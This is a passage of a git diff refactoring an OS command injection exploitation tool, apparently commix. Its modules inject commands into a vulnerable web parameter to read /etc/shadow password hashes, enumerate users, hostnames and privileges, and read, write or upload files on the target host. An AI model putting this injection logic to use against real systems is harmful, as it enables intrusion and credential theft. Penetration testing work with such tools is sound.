settings.PASSWD_FILE + "' to enumerate users entries." - print(settings.print_warning_msg(warn_msg)) - pass + checks.print_users(sys_users, filename, _) """ System passwords enumeration """ -def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - if settings.TARGET_OS == "win": - check_option = "--passwords" - checks.unavailable_option(check_option) - pass +def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): + _ = False + cmd = settings.SYS_PASSES + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # Command execution results. + response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + # Evaluate injection results. + sys_passes = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) + sys_passes = "".join(str(p) for p in sys_passes) + session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) else: - cmd = settings.SYS_PASSES - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - sys_passes = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - sys_passes = "".join(str(p) for p in sys_passes) - session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) - else: - sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if sys_passes == "": - sys_passes = " " - info_msg = "Fetching content of the file '" + settings.SHADOW_FILE - info_msg += "' in order to enumerate users password hashes. " - print(settings.print_info_msg(info_msg)) - sys_passes = sys_passes.replace(" ", "\n") - sys_passes = sys_passes.split() - if len(sys_passes) != 0 : - info_msg = "Identified " + str(len(sys_passes)) - info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] - info_msg += " in '" + settings.SHADOW_FILE + "'." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) - output_file.close() - count = 0 - for line in sys_passes: - count = count + 1 - try: - if ":" in line: - fields = line.split(":") - if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") - output_file.close() - # Check for appropriate '/etc/shadow' format. - except IndexError: - if count == 1 : - warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " - warn_msg += "in the appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - print(fields[0]) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + fields[0]) - output_file.close() - else: - warn_msg = "It seems that you don't have permissions to read the '" - warn_msg += settings.SHADOW_FILE + "' file." - print(settings.print_warning_msg(warn_msg)) + sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.print_passes(sys_passes, filename, _) """ Single os-shell execution @@ -529,11 +262,25 @@ def do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_ settings.ENUMERATION_DONE = True if menu.options.users: + if settings.TARGET_OS == "win": + info_msg = "Executing the 'net users' command " + info_msg += "in order to enumerate users entries. " + else: + info_msg = "Fetching content of the file '" + settings.PASSWD_FILE + info_msg += "' in order to enumerate users entries. " + print(settings.print_info_msg(info_msg)) system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) settings.ENUMERATION_DONE = True if menu.options.passwords: - system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + if settings.TARGET_OS == "win": + check_option = "--passwords" + checks.unavailable_option(check_option) + else: + info_msg = "Fetching content of the file '" + settings.SHADOW_FILE + info_msg += "' in order to enumerate users password hashes. " + print(settings.print_info_msg(info_msg)) + system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) settings.ENUMERATION_DONE = True # eof diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py index c97d05ac54..1aafd5d945 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py @@ -19,6 +19,7 @@ from src.utils import menu from src.utils import settings from src.utils import session_handler +from src.core.injections.controller import checks from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init from src.core.injections.semiblind.techniques.file_based import fb_injector @@ -27,187 +28,84 @@ The "file-based" technique on semiblind OS command injection. """ -""" -Read a file from the target host. -""" -def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() - info_msg = "Fetching content of the file: '" - info_msg += file_to_read + "'." - print(settings.print_info_msg(info_msg)) - - # Execute command - if settings.TARGET_OS == "win": - cmd = settings.WIN_FILE_READ + file_to_read - else: - cmd = settings.FILE_READ + file_to_read - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell: - _ = "Fetched file content" - print(settings.print_retrieved_data(_, shell)) - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "Extracted content of the file '" - info_msg += file_to_read + "' : " + shell + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the content of the file '" + file_to_read + "'." - print(settings.print_warning_msg(warn_msg)) - """ Write to a file on the target host. """ def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode() - if not os.path.exists(file_to_write): - warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." - print(settings.print_warning_msg(warn_msg)) - raise SystemExit() - - if os.path.isfile(file_to_write): - with open(file_to_write, 'r') as content_file: - content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file] - content = "".join(str(p) for p in content).replace("'", "\"") - if settings.TARGET_OS == "win": - import base64 - content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode() - else: - warn_msg = "It seems that '" + file_to_write + "' is not a file." - print(settings.print_warning_msg(warn_msg)) - - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1] - else: - dest_to_write = menu.options.file_dest - - info_msg = "Trying to write the content of the file '" - info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'." - print(settings.print_info_msg(info_msg)) - - # Execute command + file_to_write, dest_to_write, content = checks.check_file_to_write() if settings.TARGET_OS == "win": - dest_to_write = dest_to_write.replace("\\","/") - # Find path - path = os.path.dirname(dest_to_write) - path = path.replace("/","\\") - # Change directory - cmd = "cd " + path + separator +separator + " " + settings.WIN_COMMENT + cmd = checks.change_dir(dest_to_write) + cmd = cmd + separator + separator + settings.WIN_COMMENT response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Find filename - filname = os.path.basename(dest_to_write) - tmp_filname = "tmp_" + filname - cmd = settings.FILE_WRITE + " " + content + ">" + tmp_filname + separator + " " + settings.WIN_COMMENT + fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) + cmd = cmd + separator + settings.WIN_COMMENT response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Decode base 64 encoding - cmd = "certutil -decode " + tmp_filname + " " + filname + separator + " " + settings.WIN_COMMENT + cmd = checks.win_decode_b64_enc(fname, tmp_fname) + cmd = cmd + separator + settings.WIN_COMMENT response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - #fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - # Delete tmp file - cmd = "del " + tmp_filname + separator + " " + settings.WIN_COMMENT + cmd = checks.delete_tmp(tmp_fname) + cmd = cmd + separator + settings.WIN_COMMENT response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - #fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - # Check if file exists - cmd = "cmd /c if exist " + filname + " (echo " + filname + ")" - dest_to_write = path + "\\" + filname - + # cmd = "cmd /c if exist " + fname + " (echo " + fname + ")" + # dest_to_write = dest_to_write + "\\" + fname + cmd = checks.check_file(dest_to_write) + cmd = "cmd /c " + cmd + if not menu.options.alter_shell: + cmd = checks.quoted_cmd(cmd) else: - cmd = settings.FILE_WRITE + " '" + content + "'" + ">" + "'" + dest_to_write + "'" + settings.COMMENT + cmd = checks.write_content(content, dest_to_write) + cmd = cmd + settings.COMMENT response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell) - # Check if file exists - cmd = "echo $(ls " + dest_to_write + ")" - + cmd = checks.check_file(dest_to_write) response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell) - if shell: - info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." - print(settings.print_bold_info_msg(info_msg)) - else: - warn_msg = "It seems that you don't have permissions to write files on the remote direcoty '" + dest_to_write + "'." - print(settings.print_warning_msg(warn_msg)) + checks.file_write_status(shell, dest_to_write) """ Upload a file on the target host. """ def file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - if settings.TARGET_OS == "win": - check_option = "--file-upload" - checks.unavailable_option(check_option) - pass - else: - file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() - # check if remote file exists. - try: - _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as err_msg: - warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")" - print(settings.print_warning_msg(warn_msg)) - print(settings.SINGLE_WHITESPACE) - raise SystemExit() - except ValueError as err_msg: - err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] - print(settings.print_critical_msg(err_msg)) - print(settings.SINGLE_WHITESPACE) - raise SystemExit() - - # Check the file-destination - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] - else: - dest_to_upload = menu.options.file_dest - - info_msg = "Trying to upload the file from '" - info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'." - print(settings.print_info_msg(info_msg)) + cmd, dest_to_upload = checks.check_file_to_upload() + response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) + shell = "".join(str(p) for p in shell) + cmd = checks.check_file(dest_to_upload) + response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) + shell = "".join(str(p) for p in shell) + checks.file_upload_status(shell, dest_to_upload) - # Execute command - cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - - # Check if file exists! - if settings.TARGET_OS == "win": - cmd = "dir " + dest_to_upload + ")" - else: - cmd = "echo $(ls " + dest_to_upload + ")" +""" +Read a file from the target host. +""" +def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): + cmd, file_to_read = checks.file_content_to_read() + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell) - if shell: - info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." - print(settings.print_bold_info_msg(info_msg)) - else: - warn_msg = "It seems that you don't have permissions to upload files on the remote direcoty '" + dest_to_upload + "'." - print(settings.print_warning_msg(warn_msg)) + session_handler.store_cmd(url, cmd, shell, vuln_parameter) + else: + shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.file_read_status(shell, file_to_read, filename) """ Check the defined options """ def do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - if menu.options.file_write: file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) settings.FILE_ACCESS_DONE = True if menu.options.file_upload: - file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + if settings.TARGET_OS == "win": + check_option = "--file-upload" + checks.unavailable_option(check_option) + else: + file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) settings.FILE_ACCESS_DONE = True if menu.options.file_read: diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index ed410bdc6c..9caa704547 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -32,7 +32,7 @@ Powershell's version number enumeration (for Windows OS) """ def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - # _ = False + _ = False cmd = settings.PS_VERSION if alter_shell: cmd = cmd.replace("'","\\'") @@ -45,25 +45,7 @@ def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) ps_version = output - try: - if float(ps_version): - settings.PS_ENABLED = True - ps_version = "".join(str(p) for p in output) - # Output PowerShell's version number - info_msg = "Powershell version: " - info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = info_msg - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - except ValueError: - warn_msg = "Heuristics have failed to identify the version of Powershell, " - warn_msg += "which means that some payloads or injection techniques may be failed." - print("\n" + settings.print_warning_msg(warn_msg)) - settings.PS_ENABLED = False + checks.print_ps_version(ps_version, filename, _) """ Hostname enumeration @@ -75,27 +57,12 @@ def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h cmd = settings.HOSTNAME if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) + check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + session_handler.store_cmd(url, cmd, shell, vuln_parameter) _ = True else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - shell = output - if shell: - shell = "".join(str(p) for p in output) - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "Hostname: " + str(shell) - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = info_msg + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to identify the hostname." - print(settings.print_warning_msg(warn_msg)) + shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.print_hostname(shell, filename, _) """ Retrieve system information @@ -139,20 +106,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) target_arch = output - if target_os and target_arch: - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")" - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = info_msg + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to fetch underlying operating system information." - print(settings.print_warning_msg(warn_msg)) + checks.print_os_info(target_os, target_arch, filename, _) """ The current user enumeration @@ -164,26 +118,12 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese cmd = settings.CURRENT_USER if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) + check_how_long, cu_account = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) _ = True else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - cu_account = output - if cu_account: - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "Current user: " + str(cu_account) - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "Current user: " + str(cu_account) + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to fetch the current user." - print(settings.print_warning_msg(warn_msg)) + cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.print_current_user(cu_account, filename, _) """ @@ -197,27 +137,12 @@ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whites cmd = settings.IS_ROOT if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) + check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + session_handler.store_cmd(url, cmd, shell, vuln_parameter) _ = True else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - shell = output - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - _ = "True" - if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ - (settings.TARGET_OS != "win" and shell != "0"): - _ = "False" - - info_msg = "Current user has excessive privileges: " + str(_) - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() + shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.print_current_user_privs(shell, filename, _) """ System users enumeration @@ -225,19 +150,11 @@ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whites def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False if settings.TARGET_OS == "win": - info_msg = "Executing the 'net users' command " - info_msg += "in order to enumerate users entries. " - print(settings.print_info_msg(info_msg)) settings.SYS_USERS = settings.WIN_SYS_USERS settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" # URL encode "+ " if POST request and python alternative shell. if alter_shell and http_request_method == settings.HTTPMETHOD.POST: settings.SYS_USERS = settings.SYS_USERS.replace("+ ","%2B") - else: - info_msg = "Fetching content of the file '" + settings.PASSWD_FILE - info_msg += "' in order to enumerate users entries. " - print(settings.print_info_msg(info_msg)) - cmd = settings.SYS_USERS if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: try: @@ -250,234 +167,25 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) sys_users = output - # Windows users enumeration. - if settings.TARGET_OS == "win": - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - sys.stdout.write(settings.SUCCESS_STATUS) - sys_users_list = re.findall(r"(.*)", sys_users) - sys_users_list = "".join(str(p) for p in sys_users_list).strip() - sys_users_list = ' '.join(sys_users_list.split()) - sys_users_list = sys_users_list.split() - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " via 'net users' command." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - count = count + 1 - if menu.options.privileges: - cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" - if alter_shell: - cmd = cmd.replace("'","\\'") - cmd = "cmd /c " + cmd - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - check_privs = cb_injector.injection_results(response, TAG, cmd) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = re.findall(r"(.*)", check_privs) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = check_privs.split() - if "Admin" in check_privs[0]: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user" - is_privileged_nh = " is admin user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user" - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" ) - output_file.close() - else: - print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to enumerate users entries." - print(settings.print_warning_msg(warn_msg)) - except TypeError: - pass - except IndexError: - print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to enumerate users entries." - print(settings.print_warning_msg(warn_msg)) - pass - - # Unix-like users enumeration. - else: - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - if len(sys_users.split(" ")) <= 1 : - sys_users = sys_users.split("\n") - else: - sys_users = sys_users.split(" ") - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - # Check for appropriate '/etc/passwd' format. - if len(sys_users) % 3 != 0 : - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " - warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users).strip() - print(sys_users) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + sys_users) - output_file.close() - else: - sys_users_list = [] - for user in range(0, len(sys_users), 3): - sys_users_list.append(sys_users[user : user + 3]) - if len(sys_users_list) != 0 : - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " in '" + settings.PASSWD_FILE + "'." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - sys_users = sys_users_list[user] - sys_users = ":".join(str(p) for p in sys_users) - count = count + 1 - fields = sys_users.split(":") - fields1 = "".join(str(p) for p in fields) - # System users privileges enumeration - try: - if not fields[2].startswith("/"): - raise ValueError() - if menu.options.privileges: - if int(fields[1]) == 0: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user " - is_privileged_nh = " is root user " - elif int(fields[1]) > 0 and int(fields[1]) < 99 : - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " - is_privileged_nh = " is system user " - elif int(fields[1]) >= 99 and int(fields[1]) < 65534 : - if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " - is_privileged_nh = " is anonymous user " - elif int(fields[1]) == 60002: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " - is_privileged_nh = " is non-trusted user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - else : - is_privileged = "" - is_privileged_nh = "" - print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) - output_file.close() - except ValueError: - if count == 1 : - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " - warn_msg += "appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users.split(":")) - print(sys_users) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + sys_users) - output_file.close() - else: - print(settings.SINGLE_WHITESPACE) 